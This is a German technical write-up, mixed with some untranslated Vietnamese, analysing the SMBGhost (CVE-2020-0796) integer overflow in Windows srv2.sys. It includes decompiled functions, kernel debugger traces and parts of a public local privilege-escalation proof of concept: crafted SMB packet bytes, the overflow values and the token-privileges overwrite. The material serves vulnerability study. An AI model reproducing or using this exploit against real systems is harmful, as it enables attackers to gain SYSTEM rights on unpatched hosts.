
Technische Analyse und Proof-of-Concept für CVE-2020-0796 (SMBGhost), eine Integer-Überlauf-Schwachstelle in der SMBv3-Kompression, die zu lokaler Privilegienausweitung unter Windows 10/Server führt.
Die Komprimierungsfunktion, die SMBv3 ab der Windows 10/Server-Version 1903 hinzugefügt wurde, enthält eine Integer-Überlauf-Schwachstelle, die von Microsoft am 12.03.2020 bestätigt wurde. Sie ermöglicht es einem Angreifer, eine lokale Rechteausweitung (LPE) und Remote-Code-Ausführung (RCE) durchzuführen. Hier wird nur die LPE-Schwachstelle behandelt.
Betroffene Versionen:
Analyse der Datei srv2.sys: Es wird festgestellt, dass die folgenden Funktionen im Zusammenhang mit der Dekomprimierung aufgerufen werden:``` js
Srv2ReceiveHandler
|
|
v
Srv2DecompressMessageAsync
|
|
v
Srv2DecompressData -------> SrvNetAllocateBuffer
|
|
v
SmbCompressionDecompress
|
|
v
memcpy
Zuerst wird die Funktion `Srv2ReceiveHandler` aufgerufen, um ein SMB-Datenpaket zu empfangen und eine Funktion entsprechend dem Protokoll `ProtocolId` aufzurufen. Wenn `PrococolId` = 0x424D53FC, ruft es die Funktion `Srv2DecompressMessageAsync` auf, die dann die Funktion `Srv2DecompressData` aufruft, um das Datenpaket zu dekomprimieren. Die Funktion `Srv2DecompressData` ruft die Funktion `SrvNetAllocateBuffer` auf, um einen `Alloc` zuzuweisen, der zum Speichern der dekomprimierten Daten dient, danach ruft sie die Funktion `SmbCompressionDecompress` auf, um das Datenpaket zu dekomprimieren, und schließlich wird die Funktion `memcpy` aufgerufen. Somit besteht der gesamte Dekomprimierungsprozess aus den folgenden Hauptschritten:
- 1. Allocate
- 2. Decompress
- 3. Copy
Laut der von Microsoft bereitgestellten Dokumentation wird die Struktur `COMPRESSION_TRANSFORM_HEADER` verwendet, um komprimierte Daten zwischen Client und Server zu senden und zu empfangen. Sie hat folgende Struktur:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} ;
Hier konzentrieren wir uns nur auf die beiden Hauptfelder oben:
OriginalCompressedSegmentSize ist die Größe des unkomprimierten Datensegments in Byte.Offset ist die Abweichung in Byte zwischen dem Startpunkt der komprimierten Daten und dem Endpunkt der Struktur _COMPRESSION_TRANSFORM_HEADER.Somit hat das komprimierte Datenpaket die folgende Form:
``` c
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
Analysieren wir die Funktion `Srv2DecompressData`: Sie erhält ein komprimiertes Datenpaket `COMPRESSION_TRANSFORM_HEADER` (Header), reserviert Speicher (Alloc) mit der Funktion `SrvNetAllocateBuffer` unter Verwendung der Summe `Header->OriginalCompressedSegmentSize` + `Header->Offset`, dekomprimiert dann die komprimierten Daten und kopiert die nicht komprimierten Daten in `Alloc->Buffer`.

Der Integer-Überlauffehler tritt auf, wenn `Srv2DecompressData` die Funktion `SrvNetAllocateBuffer` aufruft. Die Funktion `SrvNetAllocateBuffer` akzeptiert eigentlich zwei 64-Bit-Werte, aber beim Aufruf von `SrvNetAllocateBuffer` übergibt `Srv2DecompressData` ihr nur zwei 32-Bit-Werte (ULONG). Da sowohl `OriginalCompressedSegmentSize` als auch `Offset` ULONG sind, kann ihre Addition einen Wert ergeben, der größer als 32 Bit ist. Daher kommt es zu einem Integer-Überlauffehler (Einfach ausgedrückt: Addiert man 0xffffffff (`OriginalCompressedSegmentSize`) zu 0x10 (`Offset`), ergibt sich der Wert 0xf0000000f, aber die Funktion `SrvNetAllocateBuffer` erhält nur den Wert 0x0000000f).

Der Integer-Überlauffehler führt zu einer falschen Speicherzuweisung von Alloc (die benötigte Größe ist kleiner als die tatsächliche Größe), was einen Pufferüberlauf verursachen kann:

Um zu wissen, ob der Pufferüberlauffehler auftritt und wie er abläuft, werden wir nun die Funktionen `SrvNetAllocateBuffer` und `SmbCompressionDecompress` analysieren.``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
v3 = 0;
v4 = a2;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
{
if ( allocSize > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
}
else
{
if ( allocSize > 0x1100 )
{
_RCX = allocSize - 256;
__asm
{
bsr rdx, rcx
bsf rax, rcx
}
if ( (_DWORD)_RDX == (_DWORD)_RAX )
v3 = _RDX - 12;
else
v3 = _RDX - 11;
}
v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = (unsigned int)v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v12 = *(_DWORD *)(v10 + 44);
v13 = *(_DWORD *)(v10 + 40);
v14 = *(_DWORD *)(v10 + 36);
LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
v11 = v15;
}
v5 = 2;
}
if ( v11 )
{
*(_WORD *)(v11 + 0x10) |= v5;
*(_WORD *)(v11 + 0x12) = v3;
*(_WORD *)(v11 + 0x14) = v2;
if ( v4 )
{
v24 = *(_DWORD *)(v4 + 0x24);
if ( v24 >= *(_DWORD *)(v11 + 0x20) )
v24 = *(_DWORD *)(v11 + 0x20);
v25 = *(void **)(v11 + 0x18);
*(_DWORD *)(v11 + 0x24) = v24;
memcpy(v25, *(const void **)(v4 + 0x18), v24);
v26 = *(_WORD *)(v4 + 0x16);
if ( v26 )
{
*(_WORD *)(v11 + 0x16) = v26;
memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
}
return v11;
}
Der obige Code stammt aus dem Pseudocode von IDA Pro und sieht ziemlich schwer verständlich aus. Wir können ihn jedoch leicht verstehen, indem wir den von Zecops umgeschriebenen Code betrachten:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
Die Funktion `SrvNetAllocateBuffer` nimmt die benötigte Größe entgegen, prüft dann, ob die Größe größer als 0x100100 ist; falls ja, gibt sie NULL zurück. Diese Funktion prüft außerdem die Variable `SrvDisableNetBufferLookAsideList`, jedoch habe ich keine Dokumentation zu dieser Variable gefunden, und sie ist standardmäßig auf 0 gesetzt, daher ist sie vermutlich nicht sehr wichtig.
Wenn die Bedingung erfüllt ist, berechnet die Funktion einen Index basierend auf der übergebenen AllocSize, entnimmt dann einen Wert aus dem Array `SrvNetBufferLookasides` (dieses Array hat 9 Elemente) basierend auf dem berechneten Index und führt die Allokation durch. Aus dem Assembly-Code hat Zecops mit `python` die Größen für jeden Index berechnet:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
Somit wird bei einer Anforderung einer Größe kleiner oder gleich 0x1100 ein Speicherbereich der Größe 0x1100 zugewiesen, bei einer Anforderung einer Größe größer als 0x1100 und kleiner oder gleich 0x2100 ein Speicherbereich der Größe 0x2100, und entsprechend bei größeren Anforderungen.
Nach der Zuweisung gibt die Funktion eine Adresse zurück, die eine von Zcops benannte Struktur ALLOCATION_HEADER speichert. Nach Recherchen enthält diese Struktur folgende Daten:

Interessanterweise befindet sich ALLOCATION_HEADER direkt unterhalb von ALLOCATION_HEADER->UserBuffer. Wenn ein Pufferüberlauf von UserBuffer möglich ist, können wir beliebige Werte in ALLOCATION_HEADER schreiben.

Als Nächstes betrachten wir, was die Funktion SmbCompressionDecompress tut:``` c
__int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize)
{
PVOID v6; // rdi@1
__int64 v7; // r14@1
__int64 v8; // r15@1
int v9; // ebx@2
int v10; // ecx@3
int v11; // ecx@4
signed __int16 v12; // bx@6
__int64 v13; // rsi@12
unsigned int v14; // ebp@12
int v16; // [sp+40h] [bp-28h]@1
SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1
v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }
Der obige Code stammt aus dem Pseudocode von IDA. Wenn du nicht verstehst, was der obige Code tut, kannst du den von Zecops neu geschriebenen Code ansehen:``` c
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
Diese Funktion entpackt im Wesentlichen komprimierte Daten und speichert sie in Alloc->UserBuffer + Offset. Wenn die Dekomprimierung erfolgreich ist, wird der Parameter FinalCompressedSize dem Parameter CompressedBufferSize zugewiesen, dem Wert von OriginalCompressedSegmentSize, der von der Funktion Srv2DecompressData übergeben wird.
Zurück zur Funktion Srv2DecompressData: Nach der Ausführung der Funktion SmbCompressionDecompress vergleicht die Funktion weiterhin, ob die Werte FinalCompressedSize und OriginalCompressedSegmentSize gleich sind, und ob der zurückgegebene Status < 0 ist.``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
Wie oben erwähnt, wenn die Dekompression erfolgreich ist, dann sind `FinalCompressedSize` und `OriginalCompressedSegmentSize` gleich und der zurückgegebene `Status` ist größer oder gleich 0. Daher wird, wenn die Dekompression erfolgreich ist, der Code in der if-Anweisung oben nicht ausgeführt. Wir werden nun den nächsten Codeabschnitt analysieren:``` c
if (Header->Offset > 0) {
memcpy( // copy raw data into UserBuffer
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Dieser Codeabschnitt prüft Header->Offset > 0. Der Wert Offset ist der Versatz zwischen dem komprimierten Datenbereich und dem Ende von Header, entsprechend der Größe des unkomprimierten Datenbereichs. Anschließend wird die Funktion memcpy aufgerufen, um den unkomprimierten Datenbereich an den Anfang von Alloc->UserBuffer zu kopieren.
Wenn man also einen Buffer Overflow ausnutzen kann, um den Alloc Header-Bereich zu überschreiben und den Wert des Zeigers Alloc->UserBuffer auf die Adresse A zu ändern, wird Adresse A die unkomprimierten Daten enthalten, die der Client sendet. Zur Verdeutlichung werden wir den POC von Daniel García Gutiérrez (@danigargu) und Manuel Blanco Parajón (@dialluvioso_) analysieren und anschließend debuggen, um es besser zu verstehen.
Der POC führt Folgendes aus:
Holt seinen eigenen Token.
Erstellt ein Array buffer der Größe 0x1110, speichert 0x1108 Zeichen 'A' am Anfang des Arrays und speichert dann den zuvor geholten Wert [Token + 0x40]. Der Zweck davon wird später erläutert.
Komprimiert die Daten im Array buffer und speichert sie im Array compressed_buffer.
Erstellt ein Array buf mit den folgenden Daten:``` c
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
- Sau đó tạo một mảng `packet` có kích thước: `sizeof(buf) + 0x10 + len`, với `len` là kích thước của `buffer` sau khi nén ở trên (kích thước **data** của `compressed_buffer`).
- Copy dữ liệu của mảng `buf` vào `packet`, tiếp đến là copy giá trị `0x1FF2FFFFBC` vào và đến dữ liệu của mảng `compressed_buffer`:``` c
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
packet an den SMB-Server.Im Folgenden werde ich die im POC genannten Unklarheiten erläutern.
Warum muss das buffer-Array mit einer Größe von 0x1110 Bytes erstellt werden und darin 0x1108 'A'-Zeichen und ein Wert [token + 0x40] gespeichert werden? Im Allgemeinen besteht der Zweck dieses POC darin, die Funktionen in SMB zu nutzen, um den Wert token->Privileges des eigenen Tokens zu ändern ([Token + 0x40]).
Im SMB-Header interessieren uns die ursprüngliche dekomprimierte Größe und der Offset, die jeweils die Werte 0xffffffff und 0x00000010 haben. Der Zweck ist, dass SMB an einem Integer-Overflow leidet, wodurch ein Array Alloc->Buffer mit einer Größe von nur 0x1100 Bytes zugewiesen wird (< 0x1110 + Rohdatengröße).
Der Wert 0x1FF2FFFFBC wird in die 0x10 Bytes nach dem Header gespeichert – ein Wert, der in token->Privileges->Present und token->Privileges->Enabled eines SYSTEM-Prozesses gespeichert ist. Dies bedeutet, dass ein Prozess, der token->Privileges->Present und token->Privileges->Enabled gleich 0x1FF2FFFFBC hat, dieselben Privilegien wie ein SYSTEM-Prozess besitzt.
Aus den obigen Informationen können wir ableiten, dass das POC beabsichtigt, dass die Funktionen in SMB den Wert von token->Privileges->Present und token->Privileges->Enabled auf 0x1FF2FFFFBC ändern. Um dies genau zu verstehen, werden wir uns mit dem Kernel-Debugging befassen.
Zunächst setzen wir einen Breakpoint am Anfang der Funktion Srv2DecompressData```` 0: kd> bm srv2!Srv2DecompressData 1: fffff80717c47e60 @!"srv2!Srv2DecompressData"
0: kd> bl
1 e Disable Clear fffff807`17c47e60 0001 (0001) srv2!Srv2DecompressData
Danach das POC ausführen, die Funktion `Srv2DecompressData` wird aufgerufen, der Kernel stoppt am Anfang der Funktion `srv2!Srv2DecompressData`.
Nun die Daten des Headers anzeigen:```
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10 424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20 f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30 403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40 00ffffae 00000000 00000000 00000000
Dies sind die Daten des Arrays packet, das der POC wie in der obigen POC-Analyse an SMB gesendet hat. Die ersten 0x10 Bytes sind der SMB-Header, die nächsten 0x10 Bytes enthalten zweimal den Wert 0x1FF2FFFFBC als Rohdatenbereich und die folgenden 0x13 Bytes sind die komprimierten Pufferdaten. Somit beträgt die Gesamtgröße des Headers 0x33 Bytes.
Wenn wir zu dem Aufruf der Funktion SrvNetAllocateBuffer kommen, um die übergebenen Parameter zu betrachten, erhält die Funktion SrvNetAllocateBuffer tatsächlich die Parameter 0xf und null.

Der Rückgabewert der Funktion SrvNetAllocateBuffer ist ein Zeiger auf eine Struktur ALLOCATION_HEADER (gemäß der Bezeichnung in diesem Artikel).```
1: kd> dd rax
ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e
ffffd10e`94729170 00001100 00000000 00001278 75881029

Als nächstes wird die Funktion `SmbCompressionDecompress` aufgerufen, die die dekomprimierten Daten dekomprimiert und in `Alloc->Buffer + Header -> Offset` schreibt.```
1: kd> dd ffffd10e94728050
ffffd10e`94728050 1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060 41414141 41414141 41414141 41414141
ffffd10e`94728070 41414141 41414141 41414141 41414141
...
ffffd10e`94729150 41414141 41414141 41414141 41414141
ffffd10e`94729160 41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170 00001100 00000000 00001278 75881029
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000

Zu diesem Zeitpunkt wurde Alloc->Buffer mit der Adresse [Token + 0x40] überschrieben. Die Funktion Srv2DecompressData ruft memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); auf, um die Rohdaten in Alloc->UserBuffer zu kopieren. Allerdings wurde Alloc->UserBuffer mit Token->Privileges überschrieben, sodass die Rohdaten in Token->Privileges geschrieben werden:```
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc
+0x010 EnabledByDefault : 0x40800000

An diesem Punkt hat das POC-Programm SYSTEM-Berechtigungen, der nächste Schritt ist das Öffnen eines SYSTEM-Programms (winlogon.exe) und das Injizieren von Shellcode, um cmd zu starten.
# Referenzen
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)
[Ausnutzung von SMBGhost (CVE-2020-0796) für eine lokale Privilegienausweitung: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analyse](https://paper.seebug.org/1165/)
[Token-Missbrauch zur Privilegienausweitung im Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)
<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>